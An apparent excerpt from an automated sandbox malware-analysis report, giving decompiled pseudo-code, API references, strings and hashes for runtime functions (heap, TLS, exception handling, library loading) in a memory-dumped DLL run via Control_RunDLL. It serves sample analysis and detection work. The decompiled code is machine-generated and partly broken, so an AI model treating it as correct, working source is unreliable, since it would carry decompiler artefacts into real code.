						E6E7A1000(_v52, _v48);
						return E6E7A1000(_v40, 0xf);
					} else {
						 *0x6e7fadc8 = _t45;
						goto L3;
					}
				}
				L21:
			}

APIs

GetProcessHeap.KERNEL32 ref: 6E7A10D6
HeapAlloc.KERNEL32(00680000,00000000,0000000F), ref: 6E7A10ED
GetProcessHeap.KERNEL32(00680000,00000000,0000000F), ref: 6E7A111F
HeapAlloc.KERNEL32(00680000,00000000,00000010,00680000,00000000,0000000F), ref: 6E7A1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,00680000,00000000,0000000F), ref: 6E7A120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,00680000,00000000,0000000F), ref: 6E7A121B

Strings

Control_RunDLL, xrefs: 6E7A114B
Control_RunDLL, xrefs: 6E7A1102

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: 115daca220166235bb133c5e85fb98f4002730e37e76aa6b54d2549cc2e4e078
Instruction ID: bcb1fed8b3cccc0e47aedfc15b8f20c411b4c58ea44a72f10c9b534841cef88b
Opcode Fuzzy Hash: 115daca220166235bb133c5e85fb98f4002730e37e76aa6b54d2549cc2e4e078
Instruction Fuzzy Hash: BE519275D006099FEB10CFE8D940BEEB7BAFF49340F104635E515AB264D775A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BC860, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E7BC860(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				signed int _t84;
				char _t86;
				intOrPtr _t90;
				intOrPtr* _t91;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr _t103;
				signed int _t105;
				void* _t108;
				void* _t109;
				void* _t115;

				_t94 = __edx;
				_t79 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E6E7C6B40(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t103 = _t6;
				_push(_t103);
				_v20 = _t103;
				_v12 =  *(_t80 + 8) ^  *0x6e7fa4a4;
				E6E7BC820(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x6e7fa4a4);
				E6E7BDB5C(_a12);
				_t56 = _a4;
				_t109 = _t108 + 0x10;
				_t100 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t100 - 0xfffffffe;
					if(_t100 != 0xfffffffe) {
						_t94 = 0xfffffffe;
						E6E7BDCE0(_t80, 0xfffffffe, _t103, 0x6e7fa4a4);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t100 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t84 = _v12;
							_t63 = _t100 + (_t100 + 2) * 2;
							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
							_t64 = _t84 + _t63 * 4;
							_t85 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t86 = _v5;
								goto L7;
							} else {
								_t94 = _t103;
								_t65 = E6E7BDC80(_t85, _t103);
								_t86 = 1;
								_v5 = 1;
								_t115 = _t65;
								if(_t115 < 0) {
									_v16 = 0;
									L13:
									_push(_t103);
									E6E7BC820(_t80, _t94, _t100, _t103, _v12);
									goto L14;
								} else {
									if(_t115 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x6e7f2504;
											if(__eflags != 0) {
												_t75 = E6E7C69A0(__eflags, 0x6e7f2504);
												_t109 = _t109 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t105 =  *0x6e7f2504; // 0x6e7bca71
													 *0x6e7c8154(_a4, 1);
													 *_t105();
													_t103 = _v20;
													_t109 = _t109 + 8;
												}
												_t66 = _a4;
											}
										}
										_t95 = _t66;
										E6E7BDCC0(_t66, _a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
											_t95 = _t100;
											E6E7BDCE0(_t68, _t100, _t103, 0x6e7fa4a4);
											_t68 = _a8;
										}
										_push(_t103);
										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
										E6E7BC820(_t80, _t95, _t100, _t103, _v12);
										E6E7BDCA0();
										asm("int3");
										_t70 = _v40;
										_t90 = _v36;
										__eflags = _t70 - _t90;
										if(_t70 != _t90) {
											_t91 = _t90 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t97 =  *_t71;
												__eflags = _t97 -  *_t91;
												if(_t97 !=  *_t91) {
													break;
												}
												__eflags = _t97;
												if(_t97 == 0) {
													goto L24;
												} else {
													_t98 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t91 = _t91 + 2;
														__eflags = _t98;
														if(_t98 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t100 = _t80;
						} while (_t80 != 0xfffffffe);
						if(_t86 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x6e7bc860
0x6e7bc867
0x6e7bc86b
0x6e7bc86c
0x6e7bc872
0x6e7bc87e
0x6e7bc880
0x6e7bc886
0x6e7bc886
0x6e7bc88f
0x6e7bc891
0x6e7bc894
0x6e7bc897
0x6e7bc89f
0x6e7bc8a4
0x6e7bc8a7
0x6e7bc8aa
0x6e7bc8b1
0x6e7bc90d
0x6e7bc910
0x6e7bc918
0x6e7bc91f
0x00000000
0x6e7bc91f
0x00000000
0x6e7bc8b3
0x6e7bc8b3
0x6e7bc8b9
0x6e7bc8bf
0x6e7bc8c5
0x6e7bc930
0x6e7bc939
0x6e7bc8c7
0x6e7bc8c7
0x6e7bc8c7
0x6e7bc8cd
0x6e7bc8d0
0x6e7bc8d3
0x6e7bc8d6
0x6e7bc8d9
0x6e7bc8de
0x6e7bc8f4
0x00000000
0x6e7bc8e0
0x6e7bc8e0
0x6e7bc8e2
0x6e7bc8e7
0x6e7bc8e9
0x6e7bc8ec
0x6e7bc8ee
0x6e7bc904
0x6e7bc924
0x6e7bc924
0x6e7bc928
0x00000000
0x6e7bc8f0
0x6e7bc8f0
0x6e7bc93a
0x6e7bc93d
0x6e7bc943
0x6e7bc945
0x6e7bc94c
0x6e7bc953
0x6e7bc958
0x6e7bc95b
0x6e7bc95d
0x6e7bc95f
0x6e7bc96c
0x6e7bc972
0x6e7bc974
0x6e7bc977
0x6e7bc977
0x6e7bc97a
0x6e7bc97a
0x6e7bc94c
0x6e7bc980
0x6e7bc982
0x6e7bc987
0x6e7bc98a
0x6e7bc98d
0x6e7bc995
0x6e7bc999
0x6e7bc99e
0x6e7bc99e
0x6e7bc9a1
0x6e7bc9a5
0x6e7bc9a8
0x6e7bc9b8
0x6e7bc9bd
0x6e7bc9c1
0x6e7bc9c4
0x6e7bc9c7
0x6e7bc9c9
0x6e7bc9cf
0x6e7bc9d2
0x6e7bc9d2
0x6e7bc9d5
0x6e7bc9d5
0x6e7bc9d7
0x6e7bc9d9
0x00000000
0x00000000
0x6e7bc9db
0x6e7bc9dd
0x00000000
0x6e7bc9df
0x6e7bc9df
0x6e7bc9e2
0x6e7bc9e5
0x00000000
0x6e7bc9e7
0x6e7bc9e7
0x6e7bc9ea
0x6e7bc9ed
0x6e7bc9ef
0x00000000
0x6e7bc9f1
0x00000000
0x6e7bc9f1
0x6e7bc9ef
0x6e7bc9e5
0x00000000
0x6e7bc9dd
0x6e7bc9f3
0x6e7bc9f5
0x6e7bc9f5
0x6e7bc9f9
0x6e7bc9cb
0x6e7bc9cb
0x6e7bc9cb
0x6e7bc9ce
0x6e7bc9ce
0x6e7bc8f2
0x00000000
0x6e7bc8f2
0x6e7bc8f0
0x6e7bc8ee
0x00000000
0x6e7bc8f7
0x6e7bc8f7
0x6e7bc8f9
0x6e7bc900
0x00000000
0x6e7bc902
0x00000000
0x6e7bc900
0x6e7bc8c5
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 6E7BC897
___except_validate_context_record.LIBVCRUNTIME ref: 6E7BC89F
_ValidateLocalCookies.LIBCMT ref: 6E7BC928
__IsNonwritableInCurrentImage.LIBCMT ref: 6E7BC953
_ValidateLocalCookies.LIBCMT ref: 6E7BC9A8

Strings

csm, xrefs: 6E7BC93D

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 37c51755698ee699f52f5299b938568145af7f2673a15de4917678e4db7a1e88
Instruction ID: 38918295020b5ef655c01c76fdb7bf76da308bf6a1e51c36596e023b5f63f5f9
Opcode Fuzzy Hash: 37c51755698ee699f52f5299b938568145af7f2673a15de4917678e4db7a1e88
Instruction Fuzzy Hash: 99418534A002499FDF00CFE8CA98A9EBBB9AF45329F10C565E9145F361D731DA15CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B2B10, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E6E7B2B10(void* __ebx, long* __ecx, void* __edi, void* __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				long _v44;
				char* _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v64;
				char* _v68;
				long _v76;
				intOrPtr _v80;
				char _v84;
				long _v88;
				intOrPtr _v92;
				long _v100;
				intOrPtr _v104;
				char _v108;
				void* __ebp;
				long _t41;
				void* _t47;
				void* _t51;
				void* _t52;
				intOrPtr _t53;
				void _t56;
				void* _t65;
				long _t70;
				long* _t73;
				void* _t77;
				intOrPtr _t78;
				void* _t87;

				_t78 = _t77 - 0x5c;
				_v32 = _t78;
				_v20 = 0xffffffff;
				_v24 = E6E7B3C10;
				_t73 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				__imp__AcquireSRWLockExclusive(0x6e7fadb4, __esi, __edi, __ebx);
				_v36 = 0x6e7fadb4;
				_t70 =  *__ecx;
				if(_t70 != 0) {
					L10:
					__imp__ReleaseSRWLockExclusive(_v36);
					 *[fs:0x0] = _v28;
					return _t70;
				} else {
					_t7 =  &(_t73[1]); // 0x6e7b3100
					_t56 =  *_t7;
					_t41 = TlsAlloc();
					if(_t41 == 0xffffffff) {
						_v20 = 0;
						E6E7C6E20(_t56, "assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi", 0x2e, _t70, _t73, __eflags, 0x6e7ede0c);
						_t78 = _t78 + 4;
						asm("ud2");
						goto L12;
					} else {
						_t70 = _t41;
						if(_t56 == 0) {
							L9:
							 *_t73 = _t70;
							if(_t70 == 0) {
								L12:
								_v108 = 0x6e7ed74c;
								_v104 = 1;
								_v100 = 0;
								_v92 = 0x6e7ecd60;
								_v84 = 0x6e7ed5a4;
								_v80 = 2;
								_v40 = 0;
								_v44 = 0;
								_v88 = 0;
								_v76 = 0;
								_v20 = 0;
								_v60 =  &_v108;
								_v56 = E6E7A22E0;
								_v68 =  &_v60;
								_v64 = 1;
								_v52 = E6E7AD2A0( &_v44, __eflags);
								_v48 =  &_v84;
								E6E7AD460( &_v52);
								asm("int 0x29");
								asm("ud2");
								goto L13;
							} else {
								goto L10;
							}
						} else {
							_t51 =  *0x6e7fadc8; // 0x680000
							if(_t51 != 0) {
								L6:
								_t52 = HeapAlloc(_t51, 0, 0xc);
								_t87 = _t52;
								if(_t87 == 0) {
									goto L13;
								} else {
									 *_t52 = _t56;
									 *(_t52 + 4) = _t70;
									 *(_t52 + 8) = 0;
									_t65 = _t52;
									_t53 =  *0x6e7fadcc; // 0x0
									do {
										 *((intOrPtr*)(_t65 + 8)) = _t53;
										asm("lock cmpxchg [0x6e7fadcc], ecx");
									} while (_t87 != 0);
									goto L9;
								}
							} else {
								_t51 = GetProcessHeap();
								if(_t51 == 0) {
									L13:
									_t47 = E6E7C6C30(_t56, 0xc, 4, _t70, _t73, __eflags);
									asm("ud2");
									__eflags =  &_a8;
									return E6E7AC870(_t47,  &_v36);
								} else {
									 *0x6e7fadc8 = _t51;
									goto L6;
								}
							}
						}
					}
				}
			}

0x6e7b2b16
0x6e7b2b19
0x6e7b2b1c
0x6e7b2b23
0x6e7b2b2a
0x6e7b2b36
0x6e7b2b39
0x6e7b2b44
0x6e7b2b4a
0x6e7b2b51
0x6e7b2b55
0x6e7b2bc5
0x6e7b2bc8
0x6e7b2bd1
0x6e7b2be0
0x6e7b2b57
0x6e7b2b57
0x6e7b2b57
0x6e7b2b5a
0x6e7b2b63
0x6e7b2be1
0x6e7b2bf7
0x6e7b2bfc
0x6e7b2bff
0x00000000
0x6e7b2b65
0x6e7b2b65
0x6e7b2b69
0x6e7b2bbd
0x6e7b2bc1
0x6e7b2bc3
0x6e7b2c01
0x6e7b2c0a
0x6e7b2c11
0x6e7b2c18
0x6e7b2c1f
0x6e7b2c26
0x6e7b2c2d
0x6e7b2c34
0x6e7b2c38
0x6e7b2c3f
0x6e7b2c46
0x6e7b2c4d
0x6e7b2c54
0x6e7b2c5a
0x6e7b2c61
0x6e7b2c64
0x6e7b2c73
0x6e7b2c76
0x6e7b2c79
0x6e7b2c83
0x6e7b2c85
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7b2b6b
0x6e7b2b6b
0x6e7b2b72
0x6e7b2b86
0x6e7b2b8b
0x6e7b2b90
0x6e7b2b92
0x00000000
0x6e7b2b98
0x6e7b2b98
0x6e7b2b9a
0x6e7b2b9d
0x6e7b2ba4
0x6e7b2ba6
0x6e7b2bb0
0x6e7b2bb0
0x6e7b2bb3
0x6e7b2bb3
0x00000000
0x6e7b2bb0
0x6e7b2b74
0x6e7b2b74
0x6e7b2b7b
0x6e7b2c87
0x6e7b2c91
0x6e7b2c96
0x6e7b2ca4
0x6e7b2cb3
0x6e7b2b81
0x6e7b2b81
0x00000000
0x6e7b2b81
0x6e7b2b7b
0x6e7b2b72
0x6e7b2b69
0x6e7b2b63

APIs

AcquireSRWLockExclusive.KERNEL32(6E7FADB4), ref: 6E7B2B44
TlsAlloc.KERNEL32 ref: 6E7B2B5A
GetProcessHeap.KERNEL32 ref: 6E7B2B74
HeapAlloc.KERNEL32(00680000,00000000,0000000C), ref: 6E7B2B8B
ReleaseSRWLockExclusive.KERNEL32(6E7FADB4), ref: 6E7B2BC8

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi, xrefs: 6E7B2BE8

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi
API String ID: 3228198226-2044759171
Opcode ID: c66d83d004042cd8f4893ec3df65e29b50715aeaa5bb20b941657beb8efd1dd1
Instruction ID: 40a930f1577761397955d911ae558e68ba3be1bc9c383f7a903ef97c224bc8c1
Opcode Fuzzy Hash: c66d83d004042cd8f4893ec3df65e29b50715aeaa5bb20b941657beb8efd1dd1
Instruction Fuzzy Hash: C5416BB190034A8FDB00CFD4DA48BAEBBB9FF44718F104129D619AB3A0EB759545CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C1BFC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7C1BFC(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0x6e7fb500 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0x6e7f34b0 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0x6e7fb500 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0x6e7fb500 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E6E7BF838(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E6E7BF838(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x6e7c1c05
0x6e7c1c9a
0x6e7c1c0d
0x6e7c1c0f
0x6e7c1c19
0x6e7c1c1e
0x6e7c1c2b
0x6e7c1c40
0x6e7c1c44
0x6e7c1caa
0x6e7c1caf
0x6e7c1cb6
0x6e7c1cba
0x6e7c1cbd
0x6e7c1cbd
0x6e7c1cc3
0x6e7c1cc3
0x6e7c1ca5
0x6e7c1ca9
0x6e7c1ca9
0x6e7c1c46
0x6e7c1c4f
0x6e7c1c88
0x6e7c1c95
0x6e7c1c97
0x6e7c1c97
0x00000000
0x6e7c1c97
0x6e7c1c59
0x6e7c1c5e
0x6e7c1c63
0x00000000
0x00000000
0x6e7c1c6d
0x6e7c1c72
0x6e7c1c77
0x00000000
0x00000000
0x6e7c1c7c
0x6e7c1c82
0x6e7c1c86
0x00000000
0x00000000
0x00000000
0x6e7c1c86
0x6e7c1c23
0x00000000
0x00000000
0x00000000
0x6e7c1c29
0x6e7c1ca3
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,6E7C1D09,FFFDD001,00000400,?,00000000,?,?,6E7C1E82,00000021,FlsSetValue,6E7F39F8,6E7F3A00,?), ref: 6E7C1CBD

Strings

api-ms-, xrefs: 6E7C1C53
ext-ms-, xrefs: 6E7C1C67

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 3339db920962739bd682b845b858cbdb55b3420bb0c17c4a272e79b37f29898b
Instruction ID: 54c578b09916aebed261fecaebe03b990c3cb8d9f23e32c6f317fdd29d79d1a6
Opcode Fuzzy Hash: 3339db920962739bd682b845b858cbdb55b3420bb0c17c4a272e79b37f29898b
Instruction Fuzzy Hash: 37212B72900525AFDB218AA4EE94B5A377CEB42FA0F110531F911A73A4E730F909CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BCCFF, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6E7BCCFF(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x6e7fa4c0 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E6E7BDEBB(_t13, __eflags,  *0x6e7fa4c0);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6E7BDEF6(_t14, __eflags,  *0x6e7fa4c0, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E6E7BF601();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6E7BDEF6(_t18, __eflags,  *0x6e7fa4c0, 0);
								} else {
									_t8 = E6E7BDEF6(_t18, __eflags,  *0x6e7fa4c0, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6E7BF548(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x6e7bccff
0x6e7bcd06
0x6e7bcd19
0x6e7bcd20
0x6e7bcd22
0x6e7bcd23
0x6e7bcd26
0x6e7bcd3f
0x6e7bcd3f
0x6e7bcd28
0x6e7bcd28
0x6e7bcd2a
0x6e7bcd34
0x6e7bcd3b
0x6e7bcd3d
0x6e7bcd44
0x6e7bcd4d
0x6e7bcd50
0x6e7bcd51
0x6e7bcd53
0x6e7bcd67
0x6e7bcd67
0x6e7bcd70
0x6e7bcd55
0x6e7bcd5c
0x6e7bcd62
0x6e7bcd63
0x6e7bcd65
0x6e7bcd79
0x6e7bcd7b
0x6e7bcd7b
0x00000000
0x00000000
0x00000000
0x6e7bcd65
0x6e7bcd7e
0x00000000
0x00000000
0x00000000
0x6e7bcd3d
0x6e7bcd2a
0x6e7bcd86
0x6e7bcd90
0x6e7bcd08
0x6e7bcd0a
0x6e7bcd0a

APIs

GetLastError.KERNEL32(00000001,?,6E7BCA41,6E7BA8E2,6E7BA0EC,?,6E7BA324,?,00000001,?,?,00000001,?,6E7F7DA8,0000000C,6E7BA41D), ref: 6E7BCD0D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E7BCD1B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E7BCD34
SetLastError.KERNEL32(00000000,6E7BA324,?,00000001,?,?,00000001,?,6E7F7DA8,0000000C,6E7BA41D,?,00000001,?), ref: 6E7BCD86

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 23cb7c087d3125d9ea31301573613e7f6c07f73694457da7c9f050b5b5c54c60
Instruction ID: 7aecb09d8bb5f22d73b4d855b7633b060f60797699748dc58bc05703b847f3bd
Opcode Fuzzy Hash: 23cb7c087d3125d9ea31301573613e7f6c07f73694457da7c9f050b5b5c54c60
Instruction Fuzzy Hash: 2B01D836129A125EFA541DFC7E8C5972B5CEB437BE7204339E628981F4FF3188415950

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B97A0, Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6E7B9E50: GetTickCount64.KERNEL32 ref: 6E7B9E57

GetTickCount64.KERNEL32 ref: 6E7B97D6
GetTickCount64.KERNEL32 ref: 6E7B97F4
GetTickCount64.KERNEL32 ref: 6E7B980D
GetTickCount64.KERNEL32 ref: 6E7B980F
GetTickCount64.KERNEL32 ref: 6E7B9816
GetTickCount64.KERNEL32 ref: 6E7B9834

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: 7bd1c84b2b60e7ed6506d0c19f8adf2eb87a865a564c343cd71df9e9725f2f71
Instruction ID: 4f1550f028318012f0c834cd63d0859dd135eb1214f347669ac220137d392bee
Opcode Fuzzy Hash: 7bd1c84b2b60e7ed6506d0c19f8adf2eb87a865a564c343cd71df9e9725f2f71
Instruction Fuzzy Hash: 11014013C34A58DDD603BE79A941255AB6D6FB73D4F11C323E05B77012FBA014E396A2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A6D10, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E6E7A6D10(short* __ecx, signed int __edx) {
				void* _t30;
				void* _t34;
				void* _t36;
				void* _t37;
				short _t38;
				void* _t39;
				signed int _t45;
				short _t50;
				void* _t51;
				short _t52;
				signed int _t53;
				signed int _t62;
				unsigned int _t66;
				char* _t78;
				signed int _t85;
				signed short _t88;
				intOrPtr _t90;
				char* _t91;
				void* _t94;
				void* _t95;
				intOrPtr* _t96;

				_t96 = _t95 - 0x30;
				_t90 =  *((intOrPtr*)(__ecx + 0x14));
				if(_t90 == 0) {
					L6:
					_t52 = 0;
					L7:
					return _t52;
				}
				_push(1);
				_t30 = E6E7A1DE0(_t90,  &M6E7ECBA9);
				_t96 = _t96 + 4;
				_t52 = 1;
				if(_t30 != 0) {
					goto L7;
				}
				if((__edx |  *(_t96 + 0x44)) == 0) {
					_push(1);
					return E6E7A1DE0(_t90, "_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool");
				}
				 *_t96 = _t90;
				_t91 = 0;
				_t62 =  *((intOrPtr*)(__ecx + 0x18)) - __edx;
				asm("sbb esi, eax");
				if(_t62 >= 0) {
					__eflags = _t62 - 0x1a;
					asm("sbb eax, 0x0");
					if(_t62 >= 0x1a) {
						_t85 = _t62;
						_t78 = "_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool";
						_push(1);
						_t34 = E6E7A1DE0( *_t96, _t78);
						_t96 = _t96 + 4;
						__eflags = _t34;
